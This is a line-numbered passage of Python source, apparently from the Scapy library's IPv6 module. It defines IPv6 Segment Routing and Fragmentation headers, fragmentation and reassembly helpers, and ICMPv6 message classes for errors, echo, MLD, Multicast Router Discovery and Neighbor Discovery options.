1032 fields_desc = [ByteEnumField("type", None, _segment_routing_header_tlvs),
1033 ByteField("len", 0),
1034 StrLenField("value", "", length_from=lambda pkt: pkt.len)]
1036 def extract_padding(self, p):
1037 return b"", p
1039 registered_sr_tlv = {}
1041 @classmethod
1042 def register_variant(cls):
1043 cls.registered_sr_tlv[cls.type.default] = cls
1045 @classmethod
1046 def dispatch_hook(cls, pkt=None, *args, **kargs):
1047 if pkt:
1048 tmp_type = ord(pkt[:1])
1049 return cls.registered_sr_tlv.get(tmp_type, cls)
1050 return cls
1053class IPv6ExtHdrSegmentRoutingTLVIngressNode(IPv6ExtHdrSegmentRoutingTLV):
1054 name = "IPv6 Option Header Segment Routing - Ingress Node TLV"
1055 # draft-ietf-6man-segment-routing-header-06 3.1.1
1056 fields_desc = [ByteEnumField("type", 1, _segment_routing_header_tlvs),
1057 ByteField("len", 18),
1058 ByteField("reserved", 0),
1059 ByteField("flags", 0),
1060 IP6Field("ingress_node", "::1")]
1063class IPv6ExtHdrSegmentRoutingTLVEgressNode(IPv6ExtHdrSegmentRoutingTLV):
1064 name = "IPv6 Option Header Segment Routing - Egress Node TLV"
1065 # draft-ietf-6man-segment-routing-header-06 3.1.2
1066 fields_desc = [ByteEnumField("type", 2, _segment_routing_header_tlvs),
1067 ByteField("len", 18),
1068 ByteField("reserved", 0),
1069 ByteField("flags", 0),
1070 IP6Field("egress_node", "::1")]
1073class IPv6ExtHdrSegmentRoutingTLVPad1(IPv6ExtHdrSegmentRoutingTLV):
1074 name = "IPv6 Option Header Segment Routing - Pad1 TLV"
1075 # RFC8754 sect 2.1.1.1, Pad1 is a single byte
1076 fields_desc = [ByteEnumField("type", 0, _segment_routing_header_tlvs)]
1079class IPv6ExtHdrSegmentRoutingTLVPadN(IPv6ExtHdrSegmentRoutingTLV):
1080 name = "IPv6 Option Header Segment Routing - PadN TLV"
1081 # RFC8754 sect 2.1.1.2
1082 fields_desc = [ByteEnumField("type", 4, _segment_routing_header_tlvs),
1083 FieldLenField("len", None, length_of="padding", fmt="B"),
1084 StrLenField("padding", b"\x00", length_from=lambda pkt: pkt.len)] # noqa: E501
1087class IPv6ExtHdrSegmentRoutingTLVHMAC(IPv6ExtHdrSegmentRoutingTLV):
1088 name = "IPv6 Option Header Segment Routing - HMAC TLV"
1089 # RFC8754 sect 2.1.2
1090 fields_desc = [ByteEnumField("type", 5, _segment_routing_header_tlvs),
1091 FieldLenField("len", None, length_of="hmac",
1092 adjust=lambda _, x: x + 48),
1093 BitField("D", 0, 1),
1094 BitField("reserved", 0, 15),
1095 IntField("hmackeyid", 0),
1096 StrLenField("hmac", "",
1097 length_from=lambda pkt: pkt.len - 48)]
1100class IPv6ExtHdrSegmentRouting(_IPv6ExtHdr):
1101 name = "IPv6 Option Header Segment Routing"
1102 # RFC8754 sect 2. + flag bits from draft 06
1103 fields_desc = [ByteEnumField("nh", 59, ipv6nh),
1104 ByteField("len", None),
1105 ByteField("type", 4),
1106 ByteField("segleft", None),
1107 ByteField("lastentry", None),
1108 BitField("unused1", 0, 1),
1109 BitField("protected", 0, 1),
1110 BitField("oam", 0, 1),
1111 BitField("alert", 0, 1),
1112 BitField("hmac", 0, 1),
1113 BitField("unused2", 0, 3),
1114 ShortField("tag", 0),
1115 IP6ListField("addresses", ["::1"],
1116 count_from=lambda pkt: (pkt.lastentry + 1)),
1117 PacketListField("tlv_objects", [],
1118 IPv6ExtHdrSegmentRoutingTLV,
1119 length_from=lambda pkt: 8 * pkt.len - 16 * (
1120 pkt.lastentry + 1
1121 ))]
1123 overload_fields = {IPv6: {"nh": 43}}
1125 def post_build(self, pkt, pay):
1127 if self.len is None:
1129 # The extension must be align on 8 bytes
1130 tmp_mod = (-len(pkt) + 8) % 8
1131 if tmp_mod == 1:
1132 tlv = IPv6ExtHdrSegmentRoutingTLVPad1()
1133 pkt += raw(tlv)
1134 elif tmp_mod >= 2:
1135 # Add the padding extension
1136 tmp_pad = b"\x00" * (tmp_mod - 2)
1137 tlv = IPv6ExtHdrSegmentRoutingTLVPadN(padding=tmp_pad)
1138 pkt += raw(tlv)
1140 tmp_len = (len(pkt) - 8) // 8
1141 pkt = pkt[:1] + struct.pack("B", tmp_len) + pkt[2:]
1143 if self.segleft is None:
1144 tmp_len = len(self.addresses)
1145 if tmp_len:
1146 tmp_len -= 1
1147 pkt = pkt[:3] + struct.pack("B", tmp_len) + pkt[4:]
1149 if self.lastentry is None:
1150 lastentry = len(self.addresses)
1151 if lastentry == 0:
1152 warning(
1153 "IPv6ExtHdrSegmentRouting(): the addresses list is empty!"
1154 )
1155 else:
1156 lastentry -= 1
1157 pkt = pkt[:4] + struct.pack("B", lastentry) + pkt[5:]
1159 return _IPv6ExtHdr.post_build(self, pkt, pay)
1162# Fragmentation Header #
1164class IPv6ExtHdrFragment(_IPv6ExtHdr):
1165 name = "IPv6 Extension Header - Fragmentation header"
1166 fields_desc = [ByteEnumField("nh", 59, ipv6nh),
1167 BitField("res1", 0, 8),
1168 BitField("offset", 0, 13),
1169 BitField("res2", 0, 2),
1170 BitField("m", 0, 1),
1171 IntField("id", None)]
1172 overload_fields = {IPv6: {"nh": 44}}
1174 def guess_payload_class(self, p):
1175 if self.offset > 0:
1176 return Raw
1177 else:
1178 return super(IPv6ExtHdrFragment, self).guess_payload_class(p)
1181def defragment6(packets):
1182 """
1183 Performs defragmentation of a list of IPv6 packets. Packets are reordered.
1184 Crap is dropped. What lacks is completed by 'X' characters.
1185 """
1187 # Remove non fragments
1188 lst = [x for x in packets if IPv6ExtHdrFragment in x]
1189 if not lst:
1190 return []
1192 id = lst[0][IPv6ExtHdrFragment].id
1194 llen = len(lst)
1195 lst = [x for x in lst if x[IPv6ExtHdrFragment].id == id]
1196 if len(lst) != llen:
1197 warning("defragment6: some fragmented packets have been removed from list") # noqa: E501
1199 # reorder fragments
1200 res = []
1201 while lst:
1202 min_pos = 0
1203 min_offset = lst[0][IPv6ExtHdrFragment].offset
1204 for p in lst:
1205 cur_offset = p[IPv6ExtHdrFragment].offset
1206 if cur_offset < min_offset:
1207 min_pos = 0
1208 min_offset = cur_offset
1209 res.append(lst[min_pos])
1210 del lst[min_pos]
1212 # regenerate the fragmentable part
1213 fragmentable = b""
1214 frag_hdr_len = 8
1215 for p in res:
1216 q = p[IPv6ExtHdrFragment]
1217 offset = 8 * q.offset
1218 if offset != len(fragmentable):
1219 warning("Expected an offset of %d. Found %d. Padding with XXXX" % (len(fragmentable), offset)) # noqa: E501
1220 frag_data_len = p[IPv6].plen
1221 if frag_data_len is not None:
1222 frag_data_len -= frag_hdr_len
1223 fragmentable += b"X" * (offset - len(fragmentable))
1224 fragmentable += raw(q.payload)[:frag_data_len]
1226 # Regenerate the unfragmentable part.
1227 q = res[0].copy()
1228 nh = q[IPv6ExtHdrFragment].nh
1229 q[IPv6ExtHdrFragment].underlayer.nh = nh
1230 q[IPv6ExtHdrFragment].underlayer.plen = len(fragmentable)
1231 del q[IPv6ExtHdrFragment].underlayer.payload
1232 q /= conf.raw_layer(load=fragmentable)
1233 del q.plen
1235 if q[IPv6].underlayer:
1236 q[IPv6] = IPv6(raw(q[IPv6]))
1237 else:
1238 q = IPv6(raw(q))
1239 return q
1242def fragment6(pkt, fragSize):
1243 """
1244 Performs fragmentation of an IPv6 packet. 'fragSize' argument is the
1245 expected maximum size of fragment data (MTU). The list of packets is
1246 returned.
1248 If packet does not contain an IPv6ExtHdrFragment class, it is added to
1249 first IPv6 layer found. If no IPv6 layer exists packet is returned in
1250 result list unmodified.
1251 """
1253 pkt = pkt.copy()
1255 if IPv6ExtHdrFragment not in pkt:
1256 if IPv6 not in pkt:
1257 return [pkt]
1259 layer3 = pkt[IPv6]
1260 data = layer3.payload
1261 frag = IPv6ExtHdrFragment(nh=layer3.nh)
1263 layer3.remove_payload()
1264 del layer3.nh
1265 del layer3.plen
1267 frag.add_payload(data)
1268 layer3.add_payload(frag)
1270 # If the payload is bigger than 65535, a Jumbo payload must be used, as
1271 # an IPv6 packet can't be bigger than 65535 bytes.
1272 if len(raw(pkt[IPv6ExtHdrFragment])) > 65535:
1273 warning("An IPv6 packet can'be bigger than 65535, please use a Jumbo payload.") # noqa: E501
1274 return []
1276 s = raw(pkt) # for instantiation to get upper layer checksum right
1278 if len(s) <= fragSize:
1279 return [pkt]
1281 # Fragmentable part : fake IPv6 for Fragmentable part length computation
1282 fragPart = pkt[IPv6ExtHdrFragment].payload
1283 tmp = raw(IPv6(src="::1", dst="::1") / fragPart)
1284 fragPartLen = len(tmp) - 40 # basic IPv6 header length
1285 fragPartStr = s[-fragPartLen:]
1287 # Grab Next Header for use in Fragment Header
1288 nh = pkt[IPv6ExtHdrFragment].nh
1290 # Keep fragment header
1291 fragHeader = pkt[IPv6ExtHdrFragment]
1292 del fragHeader.payload # detach payload
1294 # Unfragmentable Part
1295 unfragPartLen = len(s) - fragPartLen - 8
1296 unfragPart = pkt
1297 del pkt[IPv6ExtHdrFragment].underlayer.payload # detach payload
1299 # Cut the fragmentable part to fit fragSize. Inner fragments have
1300 # a length that is an integer multiple of 8 octets. last Frag MTU
1301 # can be anything below MTU
1302 lastFragSize = fragSize - unfragPartLen - 8
1303 innerFragSize = lastFragSize - (lastFragSize % 8)
1305 if lastFragSize <= 0 or innerFragSize == 0:
1306 warning("Provided fragment size value is too low. " +
1307 "Should be more than %d" % (unfragPartLen + 8))
1308 return [unfragPart / fragHeader / fragPart]
1310 remain = fragPartStr
1311 res = []
1312 fragOffset = 0 # offset, incremented during creation
1313 fragId = random.randint(0, 0xffffffff) # random id ...
1314 if fragHeader.id is not None: # ... except id provided by user
1315 fragId = fragHeader.id
1316 fragHeader.m = 1
1317 fragHeader.id = fragId
1318 fragHeader.nh = nh
1320 # Main loop : cut, fit to FRAGSIZEs, fragOffset, Id ...
1321 while True:
1322 if (len(remain) > lastFragSize):
1323 tmp = remain[:innerFragSize]
1324 remain = remain[innerFragSize:]
1325 fragHeader.offset = fragOffset # update offset
1326 fragOffset += (innerFragSize // 8) # compute new one
1327 if IPv6 in unfragPart:
1328 unfragPart[IPv6].plen = None
1329 tempo = unfragPart / fragHeader / conf.raw_layer(load=tmp)
1330 res.append(tempo)
1331 else:
1332 fragHeader.offset = fragOffset # update offSet
1333 fragHeader.m = 0
1334 if IPv6 in unfragPart:
1335 unfragPart[IPv6].plen = None
1336 tempo = unfragPart / fragHeader / conf.raw_layer(load=remain)
1337 res.append(tempo)
1338 break
1339 return res
1342#############################################################################
1343#############################################################################
1344# ICMPv6* Classes #
1345#############################################################################
1346#############################################################################
1349icmp6typescls = {1: "ICMPv6DestUnreach",
1350 2: "ICMPv6PacketTooBig",
1351 3: "ICMPv6TimeExceeded",
1352 4: "ICMPv6ParamProblem",
1353 128: "ICMPv6EchoRequest",
1354 129: "ICMPv6EchoReply",
1355 130: "ICMPv6MLQuery", # MLDv1 or MLDv2
1356 131: "ICMPv6MLReport",
1357 132: "ICMPv6MLDone",
1358 133: "ICMPv6ND_RS",
1359 134: "ICMPv6ND_RA",
1360 135: "ICMPv6ND_NS",
1361 136: "ICMPv6ND_NA",
1362 137: "ICMPv6ND_Redirect",
1363 # 138: Do Me - RFC 2894 - Seems painful
1364 139: "ICMPv6NIQuery",
1365 140: "ICMPv6NIReply",
1366 141: "ICMPv6ND_INDSol",
1367 142: "ICMPv6ND_INDAdv",
1368 143: "ICMPv6MLReport2",
1369 144: "ICMPv6HAADRequest",
1370 145: "ICMPv6HAADReply",
1371 146: "ICMPv6MPSol",
1372 147: "ICMPv6MPAdv",
1373 # 148: Do Me - SEND related - RFC 3971
1374 # 149: Do Me - SEND related - RFC 3971
1375 151: "ICMPv6MRD_Advertisement",
1376 152: "ICMPv6MRD_Solicitation",
1377 153: "ICMPv6MRD_Termination",
1378 # 154: Do Me - FMIPv6 Messages - RFC 5568
1379 155: "ICMPv6RPL", # RFC 6550
1380 }
1382icmp6typesminhdrlen = {1: 8,
1383 2: 8,
1384 3: 8,
1385 4: 8,
1386 128: 8,
1387 129: 8,
1388 130: 24,
1389 131: 24,
1390 132: 24,
1391 133: 8,
1392 134: 16,
1393 135: 24,
1394 136: 24,
1395 137: 40,
1396 # 139:
1397 # 140
1398 141: 8,
1399 142: 8,
1400 143: 8,
1401 144: 8,
1402 145: 8,
1403 146: 8,
1404 147: 8,
1405 151: 8,
1406 152: 4,
1407 153: 4,
1408 155: 4
1409 }
1411icmp6types = {1: "Destination unreachable",
1412 2: "Packet too big",
1413 3: "Time exceeded",
1414 4: "Parameter problem",
1415 100: "Private Experimentation",
1416 101: "Private Experimentation",
1417 128: "Echo Request",
1418 129: "Echo Reply",
1419 130: "MLD Query",
1420 131: "MLD Report",
1421 132: "MLD Done",
1422 133: "Router Solicitation",
1423 134: "Router Advertisement",
1424 135: "Neighbor Solicitation",
1425 136: "Neighbor Advertisement",
1426 137: "Redirect Message",
1427 138: "Router Renumbering",
1428 139: "ICMP Node Information Query",
1429 140: "ICMP Node Information Response",
1430 141: "Inverse Neighbor Discovery Solicitation Message",
1431 142: "Inverse Neighbor Discovery Advertisement Message",
1432 143: "MLD Report Version 2",
1433 144: "Home Agent Address Discovery Request Message",
1434 145: "Home Agent Address Discovery Reply Message",
1435 146: "Mobile Prefix Solicitation",
1436 147: "Mobile Prefix Advertisement",
1437 148: "Certification Path Solicitation",
1438 149: "Certification Path Advertisement",
1439 151: "Multicast Router Advertisement",
1440 152: "Multicast Router Solicitation",
1441 153: "Multicast Router Termination",
1442 155: "RPL Control Message",
1443 200: "Private Experimentation",
1444 201: "Private Experimentation"}
1447class _ICMPv6(Packet):
1448 name = "ICMPv6 dummy class"
1449 overload_fields = {IPv6: {"nh": 58}}
1451 def post_build(self, p, pay):
1452 p += pay
1453 if self.cksum is None:
1454 chksum = in6_chksum(58, self.underlayer, p)
1455 p = p[:2] + struct.pack("!H", chksum) + p[4:]
1456 return p
1458 def hashret(self):
1459 return self.payload.hashret()
1461 def answers(self, other):
1462 # isinstance(self.underlayer, _IPv6ExtHdr) may introduce a bug ...
1463 if (isinstance(self.underlayer, IPerror6) or
1464 isinstance(self.underlayer, _IPv6ExtHdr) and
1465 isinstance(other, _ICMPv6)):
1466 if not ((self.type == other.type) and
1467 (self.code == other.code)):
1468 return 0
1469 return 1
1470 return 0
1473class _ICMPv6Error(_ICMPv6):
1474 name = "ICMPv6 errors dummy class"
1476 def guess_payload_class(self, p):
1477 return IPerror6
1480class ICMPv6Unknown(_ICMPv6):
1481 name = "Scapy6 ICMPv6 fallback class"
1482 fields_desc = [ByteEnumField("type", 1, icmp6types),
1483 ByteField("code", 0),
1484 XShortField("cksum", None),
1485 StrField("msgbody", "")]
1488# RFC 2460 #
1490class ICMPv6DestUnreach(_ICMPv6Error):
1491 name = "ICMPv6 Destination Unreachable"
1492 fields_desc = [ByteEnumField("type", 1, icmp6types),
1493 ByteEnumField("code", 0, {0: "No route to destination",
1494 1: "Communication with destination administratively prohibited", # noqa: E501
1495 2: "Beyond scope of source address", # noqa: E501
1496 3: "Address unreachable",
1497 4: "Port unreachable"}),
1498 XShortField("cksum", None),
1499 ByteField("length", 0),
1500 X3BytesField("unused", 0),
1501 _ICMPExtensionPadField(),
1502 _ICMPExtensionField()]
1503 post_dissection = _ICMP_extpad_post_dissection
1506class ICMPv6PacketTooBig(_ICMPv6Error):
1507 name = "ICMPv6 Packet Too Big"
1508 fields_desc = [ByteEnumField("type", 2, icmp6types),
1509 ByteField("code", 0),
1510 XShortField("cksum", None),
1511 IntField("mtu", 1280)]
1514class ICMPv6TimeExceeded(_ICMPv6Error):
1515 name = "ICMPv6 Time Exceeded"
1516 fields_desc = [ByteEnumField("type", 3, icmp6types),
1517 ByteEnumField("code", 0, {0: "hop limit exceeded in transit", # noqa: E501
1518 1: "fragment reassembly time exceeded"}), # noqa: E501
1519 XShortField("cksum", None),
1520 ByteField("length", 0),
1521 X3BytesField("unused", 0),
1522 _ICMPExtensionPadField(),
1523 _ICMPExtensionField()]
1524 post_dissection = _ICMP_extpad_post_dissection
1527# The default pointer value is set to the next header field of
1528# the encapsulated IPv6 packet
1531class ICMPv6ParamProblem(_ICMPv6Error):
1532 name = "ICMPv6 Parameter Problem"
1533 fields_desc = [ByteEnumField("type", 4, icmp6types),
1534 ByteEnumField(
1535 "code", 0,
1536 {0: "erroneous header field encountered",
1537 1: "unrecognized Next Header type encountered",
1538 2: "unrecognized IPv6 option encountered",
1539 3: "first fragment has incomplete header chain"}),
1540 XShortField("cksum", None),
1541 IntField("ptr", 6)]
1544class ICMPv6EchoRequest(_ICMPv6):
1545 name = "ICMPv6 Echo Request"
1546 fields_desc = [ByteEnumField("type", 128, icmp6types),
1547 ByteField("code", 0),
1548 XShortField("cksum", None),
1549 XShortField("id", 0),
1550 XShortField("seq", 0),
1551 StrField("data", "")]
1553 def mysummary(self):
1554 return self.sprintf("%name% (id: %id% seq: %seq%)")
1556 def hashret(self):
1557 return struct.pack("HH", self.id, self.seq) + self.payload.hashret()
1560class ICMPv6EchoReply(ICMPv6EchoRequest):
1561 name = "ICMPv6 Echo Reply"
1562 type = 129
1564 def answers(self, other):
1565 # We could match data content between request and reply.
1566 return (isinstance(other, ICMPv6EchoRequest) and
1567 self.id == other.id and self.seq == other.seq and
1568 self.data == other.data)
1571# ICMPv6 Multicast Listener Discovery (RFC2710) #
1573# tous les messages MLD sont emis avec une adresse source lien-locale
1574# -> Y veiller dans le post_build si aucune n'est specifiee
1575# La valeur de Hop-Limit doit etre de 1
1576# "and an IPv6 Router Alert option in a Hop-by-Hop Options
1577# header. (The router alert option is necessary to cause routers to
1578# examine MLD messages sent to multicast addresses in which the router
1579# itself has no interest"
1580class _ICMPv6ML(_ICMPv6):
1581 fields_desc = [ByteEnumField("type", 130, icmp6types),
1582 ByteField("code", 0),
1583 XShortField("cksum", None),
1584 ShortField("mrd", 0),
1585 ShortField("reserved", 0),
1586 IP6Field("mladdr", "::")]
1588# general queries are sent to the link-scope all-nodes multicast
1589# address ff02::1, with a multicast address field of 0 and a MRD of
1590# [Query Response Interval]
1591# Default value for mladdr is set to 0 for a General Query, and
1592# overloaded by the user for a Multicast Address specific query
1593# TODO : See what we can do to automatically include a Router Alert
1594# Option in a Destination Option Header.
1597class ICMPv6MLQuery(_ICMPv6ML): # RFC 2710
1598 name = "MLD - Multicast Listener Query"
1599 type = 130
1600 mrd = 10000 # 10s for mrd
1601 mladdr = "::"
1602 overload_fields = {IPv6: {"dst": "ff02::1", "hlim": 1, "nh": 58}}
1605# TODO : See what we can do to automatically include a Router Alert
1606# Option in a Destination Option Header.
1607class ICMPv6MLReport(_ICMPv6ML): # RFC 2710
1608 name = "MLD - Multicast Listener Report"
1609 type = 131
1610 overload_fields = {IPv6: {"hlim": 1, "nh": 58}}
1612 def answers(self, query):
1613 """Check the query type"""
1614 return ICMPv6MLQuery in query
1616# When a node ceases to listen to a multicast address on an interface,
1617# it SHOULD send a single Done message to the link-scope all-routers
1618# multicast address (FF02::2), carrying in its multicast address field
1619# the address to which it is ceasing to listen
1620# TODO : See what we can do to automatically include a Router Alert
1621# Option in a Destination Option Header.
1624class ICMPv6MLDone(_ICMPv6ML): # RFC 2710
1625 name = "MLD - Multicast Listener Done"
1626 type = 132
1627 overload_fields = {IPv6: {"dst": "ff02::2", "hlim": 1, "nh": 58}}
1630# Multicast Listener Discovery Version 2 (MLDv2) (RFC3810) #
1632class ICMPv6MLQuery2(_ICMPv6): # RFC 3810
1633 name = "MLDv2 - Multicast Listener Query"
1634 fields_desc = [ByteEnumField("type", 130, icmp6types),
1635 ByteField("code", 0),
1636 XShortField("cksum", None),
1637 ShortField("mrd", 10000),
1638 ShortField("reserved", 0),
1639 IP6Field("mladdr", "::"),
1640 BitField("Resv", 0, 4),
1641 BitField("S", 0, 1),
1642 BitField("QRV", 0, 3),
1643 ByteField("QQIC", 0),
1644 ShortField("sources_number", None),
1645 IP6ListField("sources", [],
1646 count_from=lambda pkt: pkt.sources_number)]
1648 # RFC8810 - 4. Message Formats
1649 overload_fields = {IPv6: {"dst": "ff02::1", "hlim": 1, "nh": 58}}
1651 def post_build(self, packet, payload):
1652 """Compute the 'sources_number' field when needed"""
1653 if self.sources_number is None:
1654 srcnum = struct.pack("!H", len(self.sources))
1655 packet = packet[:26] + srcnum + packet[28:]
1656 return _ICMPv6.post_build(self, packet, payload)
1659class ICMPv6MLDMultAddrRec(Packet):
1660 name = "ICMPv6 MLDv2 - Multicast Address Record"
1661 fields_desc = [ByteField("rtype", 4),
1662 FieldLenField("auxdata_len", None,
1663 length_of="auxdata",
1664 fmt="B"),
1665 FieldLenField("sources_number", None,
1666 length_of="sources",
1667 adjust=lambda p, num: num // 16),
1668 IP6Field("dst", "::"),
1669 IP6ListField("sources", [],
1670 length_from=lambda p: 16 * p.sources_number),
1671 StrLenField("auxdata", "",
1672 length_from=lambda p: p.auxdata_len)]
1674 def default_payload_class(self, packet):
1675 """Multicast Address Record followed by another one"""
1676 return self.__class__
1679class ICMPv6MLReport2(_ICMPv6): # RFC 3810
1680 name = "MLDv2 - Multicast Listener Report"
1681 fields_desc = [ByteEnumField("type", 143, icmp6types),
1682 ByteField("res", 0),
1683 XShortField("cksum", None),
1684 ShortField("reserved", 0),
1685 ShortField("records_number", None),
1686 PacketListField("records", [],
1687 ICMPv6MLDMultAddrRec,
1688 count_from=lambda p: p.records_number)]
1690 # RFC8810 - 4. Message Formats
1691 overload_fields = {IPv6: {"dst": "ff02::16", "hlim": 1, "nh": 58}}
1693 def post_build(self, packet, payload):
1694 """Compute the 'records_number' field when needed"""
1695 if self.records_number is None:
1696 recnum = struct.pack("!H", len(self.records))
1697 packet = packet[:6] + recnum + packet[8:]
1698 return _ICMPv6.post_build(self, packet, payload)
1700 def answers(self, query):
1701 """Check the query type"""
1702 return isinstance(query, ICMPv6MLQuery2)
1705# ICMPv6 MRD - Multicast Router Discovery (RFC 4286) #
1707# TODO:
1708# - 04/09/06 troglocan : find a way to automatically add a router alert
1709# option for all MRD packets. This could be done in a specific
1710# way when IPv6 is the under layer with some specific keyword
1711# like 'exthdr'. This would allow to keep compatibility with
1712# providing IPv6 fields to be overloaded in fields_desc.
1713#
1714# At the moment, if user inserts an IPv6 Router alert option
1715# none of the IPv6 default values of IPv6 layer will be set.
1717class ICMPv6MRD_Advertisement(_ICMPv6):
1718 name = "ICMPv6 Multicast Router Discovery Advertisement"
1719 fields_desc = [ByteEnumField("type", 151, icmp6types),
1720 ByteField("advinter", 20),
1721 XShortField("cksum", None),
1722 ShortField("queryint", 0),
1723 ShortField("robustness", 0)]
1724 overload_fields = {IPv6: {"nh": 58, "hlim": 1, "dst": "ff02::2"}}
1725 # IPv6 Router Alert requires manual inclusion
1727 def extract_padding(self, s):
1728 return s[:8], s[8:]
1731class ICMPv6MRD_Solicitation(_ICMPv6):
1732 name = "ICMPv6 Multicast Router Discovery Solicitation"
1733 fields_desc = [ByteEnumField("type", 152, icmp6types),
1734 ByteField("res", 0),
1735 XShortField("cksum", None)]
1736 overload_fields = {IPv6: {"nh": 58, "hlim": 1, "dst": "ff02::2"}}
1737 # IPv6 Router Alert requires manual inclusion
1739 def extract_padding(self, s):
1740 return s[:4], s[4:]
1743class ICMPv6MRD_Termination(_ICMPv6):
1744 name = "ICMPv6 Multicast Router Discovery Termination"
1745 fields_desc = [ByteEnumField("type", 153, icmp6types),
1746 ByteField("res", 0),
1747 XShortField("cksum", None)]
1748 overload_fields = {IPv6: {"nh": 58, "hlim": 1, "dst": "ff02::6A"}}
1749 # IPv6 Router Alert requires manual inclusion
1751 def extract_padding(self, s):
1752 return s[:4], s[4:]
1755# ICMPv6 Neighbor Discovery (RFC 2461) #
1757icmp6ndopts = {1: "Source Link-Layer Address",
1758 2: "Target Link-Layer Address",
1759 3: "Prefix Information",
1760 4: "Redirected Header",
1761 5: "MTU",
1762 6: "NBMA Shortcut Limit Option", # RFC2491
1763 7: "Advertisement Interval Option",
1764 8: "Home Agent Information Option",
1765 9: "Source Address List",
1766 10: "Target Address List",
1767 11: "CGA Option", # RFC 3971
1768 12: "RSA Signature Option", # RFC 3971
1769 13: "Timestamp Option", # RFC 3971
1770 14: "Nonce option", # RFC 3971
1771 15: "Trust Anchor Option", # RFC 3971
1772 16: "Certificate Option", # RFC 3971
1773 17: "IP Address Option", # RFC 4068
1774 18: "New Router Prefix Information Option", # RFC 4068
1775 19: "Link-layer Address Option", # RFC 4068
1776 20: "Neighbor Advertisement Acknowledgement Option",
1777 21: "CARD Request Option", # RFC 4065/4066/4067
1778 22: "CARD Reply Option", # RFC 4065/4066/4067
1779 23: "MAP Option", # RFC 4140
1780 24: "Route Information Option", # RFC 4191
1781 25: "Recursive DNS Server Option",
1782 26: "IPv6 Router Advertisement Flags Option"
1783 }
1785icmp6ndoptscls = {1: "ICMPv6NDOptSrcLLAddr",
1786 2: "ICMPv6NDOptDstLLAddr",
1787 3: "ICMPv6NDOptPrefixInfo",
1788 4: "ICMPv6NDOptRedirectedHdr",
1789 5: "ICMPv6NDOptMTU",
1790 6: "ICMPv6NDOptShortcutLimit",
1791 7: "ICMPv6NDOptAdvInterval",
1792 8: "ICMPv6NDOptHAInfo",
1793 9: "ICMPv6NDOptSrcAddrList",
1794 10: "ICMPv6NDOptTgtAddrList",
1795 # 11: ICMPv6NDOptCGA, RFC3971 - contrib/send.py
1796 # 12: ICMPv6NDOptRsaSig, RFC3971 - contrib/send.py
1797 # 13: ICMPv6NDOptTmstp, RFC3971 - contrib/send.py
1798 # 14: ICMPv6NDOptNonce, RFC3971 - contrib/send.py
1799 # 15: Do Me,
1800 # 16: Do Me,
1801 17: "ICMPv6NDOptIPAddr",
1802 18: "ICMPv6NDOptNewRtrPrefix",
1803 19: "ICMPv6NDOptLLA",
1804 # 18: Do Me,
1805 # 19: Do Me,
1806 # 20: Do Me,
1807 # 21: Do Me,
1808 # 22: Do Me,
1809 23: "ICMPv6NDOptMAP",
1810 24: "ICMPv6NDOptRouteInfo",
1811 25: "ICMPv6NDOptRDNSS",
1812 26: "ICMPv6NDOptEFA",
1813 31: "ICMPv6NDOptDNSSL",
1814 37: "ICMPv6NDOptCaptivePortal",
1815 38: "ICMPv6NDOptPREF64",
1816 }
1818icmp6ndraprefs = {0: "Medium (default)",
1819 1: "High",
1820 2: "Reserved",
1821 3: "Low"} # RFC 4191
1824class _ICMPv6NDGuessPayload:
1825 name = "Dummy ND class that implements guess_payload_class()"
1827 def guess_payload_class(self, p):
1828 if len(p) > 1:
1829 return icmp6ndoptscls.get(p[0], ICMPv6NDOptUnknown)
1832# Beginning of ICMPv6 Neighbor Discovery Options.
1834class ICMPv6NDOptDataField(StrLenField):
1835 __slots__ = ["strip_zeros"]
1837 def __init__(self, name, default, strip_zeros=False, **kwargs):
1838 super().__init__(name, default, **kwargs)
1839 self.strip_zeros = strip_zeros
1841 def i2len(self, pkt, x):
1842 return len(self.i2m(pkt, x))
1844 def i2m(self, pkt, x):
1845 r = (len(x) + 2) % 8
1846 if r:
1847 x += b"\x00" * (8 - r)
1848 return x
1850 def m2i(self, pkt, x):
1851 if self.strip_zeros:
1852 x = x.rstrip(b"\x00")
1853 return x
1856class ICMPv6NDOptUnknown(_ICMPv6NDGuessPayload, Packet):
1857 name = "ICMPv6 Neighbor Discovery Option - Scapy Unimplemented"
1858 fields_desc = [ByteField("type", 0),
1859 FieldLenField("len", None, length_of="data", fmt="B",
1860 adjust=lambda pkt, x: (2 + x) // 8),
1861 ICMPv6NDOptDataField("data", "", strip_zeros=False,
1862 length_from=lambda pkt:
1863 8 * max(pkt.len, 1) - 2)]
1865# NOTE: len includes type and len field. Expressed in unit of 8 bytes
1866# TODO: Revoir le coup du ETHER_ANY
1869class ICMPv6NDOptSrcLLAddr(_ICMPv6NDGuessPayload, Packet):
1870 name = "ICMPv6 Neighbor Discovery Option - Source Link-Layer Address"
1871 fields_desc = [ByteField("type", 1),
1872 ByteField("len", 1),
1873 SourceMACField("lladdr")]
1875 def mysummary(self):
1876 return self.sprintf("%name% %lladdr%")
1879class ICMPv6NDOptDstLLAddr(ICMPv6NDOptSrcLLAddr):
1880 name = "ICMPv6 Neighbor Discovery Option - Destination Link-Layer Address"
1881 type = 2
1884class ICMPv6NDOptPrefixInfo(_ICMPv6NDGuessPayload, Packet):
1885 name = "ICMPv6 Neighbor Discovery Option - Prefix Information"
1886 fields_desc = [ByteField("type", 3),
1887 ByteField("len", 4),
1888 ByteField("prefixlen", 64),
1889 BitField("L", 1, 1),
1890 BitField("A", 1, 1),
1891 BitField("R", 0, 1),
1892 BitField("res1", 0, 5),
1893 XIntField("validlifetime", 0xffffffff),
1894 XIntField("preferredlifetime", 0xffffffff),
1895 XIntField("res2", 0x00000000),
1896 IP6Field("prefix", "::")]
1898 def mysummary(self):
1899 return self.sprintf("%name% %prefix%/%prefixlen% "
1900 "On-link %L% Autonomous Address %A% "
1901 "Router Address %R%")
1903# TODO: We should also limit the size of included packet to something
1904# like (initiallen - 40 - 2)
1907class TruncPktLenField(PacketLenField):
1908 def i2m(self, pkt, x):
1909 s = bytes(x)
1910 tmp_len = len(s)
1911 return s[:tmp_len - (tmp_len % 8)]
1913 def i2len(self, pkt, i):
1914 return len(self.i2m(pkt, i))
1917class ICMPv6NDOptRedirectedHdr(_ICMPv6NDGuessPayload, Packet):
1918 name = "ICMPv6 Neighbor Discovery Option - Redirected Header"
1919 fields_desc = [ByteField("type", 4),
1920 FieldLenField("len", None, length_of="pkt", fmt="B",
1921 adjust=lambda pkt, x: (x + 8) // 8),
1922 MayEnd(StrFixedLenField("res", b"\x00" * 6, 6)),
1923 TruncPktLenField("pkt", b"", IPv6,
1924 length_from=lambda pkt: 8 * pkt.len - 8)]
